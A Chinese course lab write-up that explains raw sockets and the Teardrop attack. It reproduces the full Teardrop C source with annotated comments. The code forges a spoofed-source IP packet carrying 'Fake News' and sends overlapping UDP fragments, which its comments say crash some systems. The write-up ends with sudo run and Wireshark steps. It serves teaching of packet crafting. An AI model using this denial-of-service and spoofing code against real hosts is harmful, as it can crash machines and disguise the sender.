通过Teardrop学习网络通信编程

实验目的:学习“原始套接字编程”中的Teardrop代码编程,伪造一个虚假地址的IP包,包的内容填入Fake News。发送此包。并用wireshark抓包进行验证。
实验环境:Ubuntu18.04(配备gcc编译器),wireshark等抓包软件
参考资料:《网络编程技术》

一、实验相关概念

(一)原始套接字含义

原始套接字含义就是在传输层之下使用的套接字。它提供了几个其它功能:
1)使用原始套接字可以读写ICMP和IGMP协议的数据包,如Ping程序。
2)使用原始套接字可以读写特殊IP的数据包,Linux内核并不处理这些特殊数据包的IP协议字段。
3)利用原始套接字,可以使用IP_HDRINCL套接字选项构造自定义的IP数据包头部,可以编写基于IP协议的高层网络协议。

(二)Teardrop攻击

Teardrop攻击是一种畸形报文攻击。是基于UDP的攻击方法,其工作原理是向被攻击者发送多个分片的IP包,并且使分片的IP包数据部分发生重叠偏移。某些操作系统收到含有重叠偏移的伪造分片数据包时将会出现系统崩溃、重启等现象。
对于Windows系统会导致蓝屏死机,并显示STOP 0x0000000A错误。
Teardrop攻击_百度百科

二、步骤

1.配置VMware

将Ubuntu设置为桥接模式
看第二章Ubuntu网络配置

2.编写Teardrop.c程序

vim Teardrop.c

代码如下:
也可以网上自行查找

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <netdb.h>
#include <netinet/in.h>
#include <netinet/udp.h>
#include <arpa/inet.h>
#include <sys/types.h>
#include <sys/time.h>
#include <sys/socket.h>
#include <errno.h>

#ifdef STRANGE_BSD_BYTE_ORDERING_THING
/* OpenBSD < 2.1, all FreeBSD and netBSD, BSDi < 3.0 */
#define FIX(n)  (n)
#else  
/* OpenBSD 2.1, all Linux */
#define FIX(n)  htons(n)
#endif  /* STRANGE_BSD_BYTE_ORDERING_THING */

#define IP_MF 0x2000  /* More IP fragment en route */
#define IPH 0x14    /* IP header size */
#define UDPH 0x8     /* UDP header size */
#define PADDING  0x1c    /* datagram frame padding for first packet */
#define MAGIC  0x3     /* Magic Fragment Constant (tm).  Should be 2 or 3 */
#define COUNT 0x1  
/* Linux dies with 1, NT is more stalwart and can
 * withstand maybe 5 or 10 sometimes...  Experiment.
 */

//错误处理函数
void usage(u_char *);
//获取主机信息
u_long name_resolve(u_char *);
//设置 IP 包的内容并发送
void send_frags(int ,u_long,u_long,u_short,u_short);

//主函数
int main(int argc,char **argv)
{
    int one = 1, count = 0, i, rip_sock;
    //定义无符号长整型源 IP 和目的 IP
    u_long src_ip = 0, dst_ip = 0;
    //定义无符号短整型源端口号和目的端口号
    u_short src_prt = 0, dst_prt = 0;

    struct in_addr addr;
    printf("teardrop route|daemon9\n\n");

    /*
    创建一个原始套接字
    AF_INET——IPv4地址;
    SOCK_RAW——原始的套接字类型
    IPPROTO_RAW——允许使用底层的套接字协议,就可以自己编写IP包
    如果创建套接字成功,则会返回一个描述符(int型),失败则会返回 INVALID_SOCKET
    每个电脑里面都会有一个描述符表,对应套接字
    如果创建失败,将错误消息输出到屏幕
    然后退出程序
    */
    if((rip_sock = socket(AF_INET,SOCK_RAW,IPPROTO_RAW)) < 0)
    {
	fprintf(stderr,"raw socket");
	exit(1);
    }

    /*
    设置原始套接字选项 IP_HDRINCL
    如果不设置这个选项,IP 协议会自动填充 IP 数据包的首部
    这个情况是我们所不需要的,我们需要自己编写 IP 包
    */
    if(setsockopt(rip_sock,IPPROTO_IP,IP_HDRINCL,(char *)&one,sizeof(one)) < 0)
    {
        fprintf(stderr,"IP_HDRINCL");
        exit(1);
    }

    /*
    如果程序运行时送给main函数的命令行参数个数小于 3 个,
    调用 usage 函数,传参为 argv[0]:指向程序运行的全路径名
    */
    if(argc < 3)
        usage(argv[0]);

    //调用 name_resolve 函数设置源 IP 和目的 IP 
    if(!(src_ip = name_resolve(argv[1])) || !(dst_ip = name_resolve(argv[2])))
    {
        fprintf(stderr,"What the hell kind of IP address is that?\n");
        exit(1);
    }

    /*
    调用 getopt 函数分析命令行参数,该函数的参数含义:
    ——命令行参数个数(argc)
    ——命令行参数内容(argv)
    ——参数格式(opstring):字母后有 : 表示该选项后面必须跟参数
    getopt 函数处理不符合 optstring 指定的选项
    并将选项后的参数保存在 optarg 中
    然后返回选项的 ASCLL 码
    atoi 函数是将参数(optarg)转化为十进制(会跳过前面的空白字符)
    如果不能转化为十进制,则返回 0 ,值过大返回 -1
    该循环语句是为了从命令行传端口值
    */
    while((i = getopt(argc, argv, "s:t:n:")) != EOF)
    {
        switch (i)
        {
        case 's'://源端口(重点)
        src_prt = (u_short)atoi(optarg);
            break;
        case 't'://目的端口 (DNS,任何人?)
        dst_prt = (u_short)atoi(optarg);
            break;
        case 'n'://设置发送包的个数
        count = atoi(optarg);
            break;
        default:
        usage(argv[0]);
            break;
        }
    }
    
    /*
    srandom 函数:设置种子值(以“当前时间 + 进程 ID”作为种子)
    如果前面设置的源端口和目的端口是零,则随机赋值
    */
    srandom((unsigned)(utimes("0",(time_t)0)));
    if(!src_prt)
        src_prt = (random() % 0xffff);//设置随机源端口号
    if(!dst_prt)
        dst_prt = (random() % 0xffff);//设置随即目的端口号
    if(!count)
        count = COUNT;//设置默认为一个包
    //inet_ntoa 函数:将一个IP转换成一个互联网标准点分格式的字符串
    printf("Death on flaxen wings:\n");
    addr.s_addr = src_ip;//给对象 addr 的成员变量赋值
    printf("From:%15s.%5d\n",inet_ntoa(addr), src_prt);
    addr.s_addr = dst_ip;//给对象 addr 的成员变量 赋值
    printf("To:%15s.%5d\n",inet_ntoa(addr), dst_prt);
    printf("Amt:%5d\n",count);
    printf("[\n");

    /*
    循环调用 send_frags 函数
    每一次循环完了后睡眠 0.5 s
    */
    for (i = 0; i < count; i++)
    {
        send_frags(rip_sock,src_ip,dst_ip,src_prt,dst_prt);
        usleep(500);
    }
    printf("]\n");
    return (0);
}

//设置 IP 包的内容并发送
void send_frags(int sock,u_long src_ip,u_long dst_ip,u_short src_prt,u_short dst_prt)
{
    u_char *packet = NULL, *p_ptr = NULL,*flag = NULL;//定义 IP 包指针
    u_char byte;//无符号字符储存二进制
    struct sockaddr_in sin;

    sin.sin_family = AF_INET;//IPv4地址
    sin.sin_port = src_prt;//源端口
    sin.sin_addr.s_addr = dst_ip;//目的 IP
    
    /*
    malloc 函数:
    原型:extern void *malloc(unsigned int num_bytes);
    功能:分配长度为num_bytes字节的内存块(这里分配了 56 个字节的内存块)
    说明:分配成功则返回指向被分配内存的指针,否则返回空指针 NULL
    */
    packet = (u_char *)malloc(IPH + UDPH + PADDING);
    p_ptr = packet;//指向 IP 包内存地址
    flag = packet;
    
    /*
    bzero 函数:
    原型:extern void bzero(void *s, int n);
    功能:置字节字符串前n个字节为零且包括‘\0’,无返回值
    这里是将 IP 包的 56 个字节全部至空
    */
    bzero((u_char *)p_ptr,IPH + UDPH + PADDING);
    
    /*
    设置 IP 包的Version(版本)和Hlen(长度)
    大多数的 IP 包都是以 4500 开头的(十六进制) 
    */
    byte = 0x45;
    
    /*
    memcpy 函数:
    原型:void *memcpy(void *destin, void *source, unsigned n);
    功能:从源内存地址的起始位置开始拷贝若干个字节到目标内存地址中
                    即从源source中拷贝n个字节到目标destin中
    这里是指从 byte 的内容(0x45)拷贝到 IP 包中
    */
    memcpy(p_ptr, &byte, sizeof(u_char));
    p_ptr += 2;// 此时默认 IP 包的 TOS(优先级)为 0
    
    /*
    FIX 函数(htons 函数的别名)
    htons 函数:将一个无符号短整型的主机数值转换为网络字节顺序
                                即大尾顺序(big-endian)
    这里是设置 Datagram Total Length(IP 包总长度)
    */
    *((u_short *)p_ptr) = FIX(IPH + UDPH + PADDING);
    p_ptr += 2;
    
    //这是是设置 identifier(IP 包标识)
    *((u_short *)p_ptr) = htons(242);//IP id
    p_ptr += 2;
    
    //这里设置 Flags(标志)
    *((u_short *)p_ptr) |= FIX(IP_MF);
    p_ptr += 2;
    
    //设置 TTL (存活期)
    *((u_short *)p_ptr) = 0x40;
    
    //设置 Protocol(协议)
    byte = IPPROTO_UDP;
    memcpy(p_ptr + 1, &byte, sizeof(u_char));
    
    //IP 的校验码由实时操作系统设置
    p_ptr += 4;
    
    //设置 IP 包的 Source Address(源地址)
    *((u_long *)p_ptr) = src_ip;
    p_ptr += 4;
    
    //设置 IP 包的 Destination Address(目的地址)
    *((u_long *)p_ptr) = dst_ip;
    p_ptr += 4;
    
    //设置 UDP 的源端口
    *((u_short *)p_ptr) = htons(src_prt);
    p_ptr += 2;
    
    //设置 UDP 的目的端口
    *((u_short *)p_ptr) = htons(dst_prt);
    p_ptr += 2;
    
    //设置 UDP 的数据长度
    *((u_short *)p_ptr) = htons(PADDING);
    p_ptr += 4;
    
    /*
    设置要发送的数据:Fake News
    根据 ASCLL 码表可转换成 46 61 6B 65 20 4E 65 77 73
    */
    *((u_short *)p_ptr) = 0x46;
    p_ptr++;
    *((u_short *)p_ptr) = 0x61;
    p_ptr++;
    *((u_short *)p_ptr) = 0x6B;
    p_ptr++;
    *((u_short *)p_ptr) = 0x65;
    p_ptr++;
    *((u_short *)p_ptr) = 0x20;
    p_ptr++;
    *((u_short *)p_ptr) = 0x4E;
    p_ptr++;
    *((u_short *)p_ptr) = 0x65;
    p_ptr++;
    *((u_short *)p_ptr) = 0x77;
    p_ptr++;
    *((u_short *)p_ptr) = 0x73;
    
    /*
    sendto 函数:指向一指定目的地发送数据
	将指定字节数的数据发送到指定的终结点
	sendto()适用于发送未建立连接的UDP数据报(参数为SOCK_DGRAM)
    返回值:为整型,如果成功,则返回发送的字节数,失败则返回SOCKET_ERROR
    发送 IPv4 包,下面这个条件语句发送失败才会执行
    */
    int i=1;
    while(i <= 56)
    {
	printf("%x\t",*flag);
	flag++;
        if(0 == i%8)
	    printf("\n");
        i++;
    }
    if(sendto(sock, packet, IPH + UDPH + PADDING, 0, (struct sockaddr *)&sin, sizeof(struct sockaddr)) == -1)
    {
        fprintf(stderr, "\nsendto");
        free(packet);//释放 packet 指针
        exit(1);
    }
    
    //IP 包总长度是2字节,放进头部
    p_ptr = &packet[2];
    *((u_short *)p_ptr) = FIX(IPH + MAGIC + 1);
    
    //IP offset is 6 bytes into the header
    p_ptr += 4;
    *((u_short *)p_ptr) = FIX(MAGIC);
    
    //发送 UDP 包,下面这个条件语句发送失败才会执行
    if(sendto(sock, packet, IPH + MAGIC + 1, 0, (struct sockaddr *)&sin, sizeof(struct sockaddr)) == -1)
    {
        fprintf(stderr, "\nsendto");
        free(packet);
        exit(1);
    }
    free(packet);
}

//获取主机信息
u_long name_resolve(u_char *host_name)
{
    struct in_addr addr;//32位 IPv4 地址

    struct hostent *host_ent;
    
    /*
    gethostbyname 函数:返回对应于给定主机名的包含主机名字和地址信息的hostent结构指针
    bcopy 函数:将第一个参数(字符串)的前n(第三个参数)个字节复制到第二个参数中
    */
    if((addr.s_addr = inet_addr(host_name)) == -1)
    {
        if(!(host_ent = gethostbyname(host_name)))
            return (0);
        bcopy(host_ent->h_addr, (char *)&addr.s_addr, host_ent->h_length);
    }
    return (addr.s_addr);
}

//错误处理函数
void usage(u_char *name)
{
    fprintf(stderr, "%s src_ip dst_ip [ -s src_prit ] [ -t dst_prt ] [ -n how_many  ]\n",name);
    exit(0);
}

3.编译运行

由于 Teardrop 程序是自创一个 IP 包,涉及到底层的协议,所以需要超级用户权限。IP地址可随意写。

gcc Teardrop.c -o Teardrop
sudo ./Teardrop 110.110.110.110 120.120.120.120

运行效果为:
在这里插入图片描述

4.抓包分析

通过抓包来分析IP包。
在这里插入图片描述

三、其它

Teardrop攻击是一个学习IP包以及UDP的很好的教材。
网络通信编程11and12_1
上一篇:TCP和HTTPS抓包分析
下一篇:两个socket实例应用

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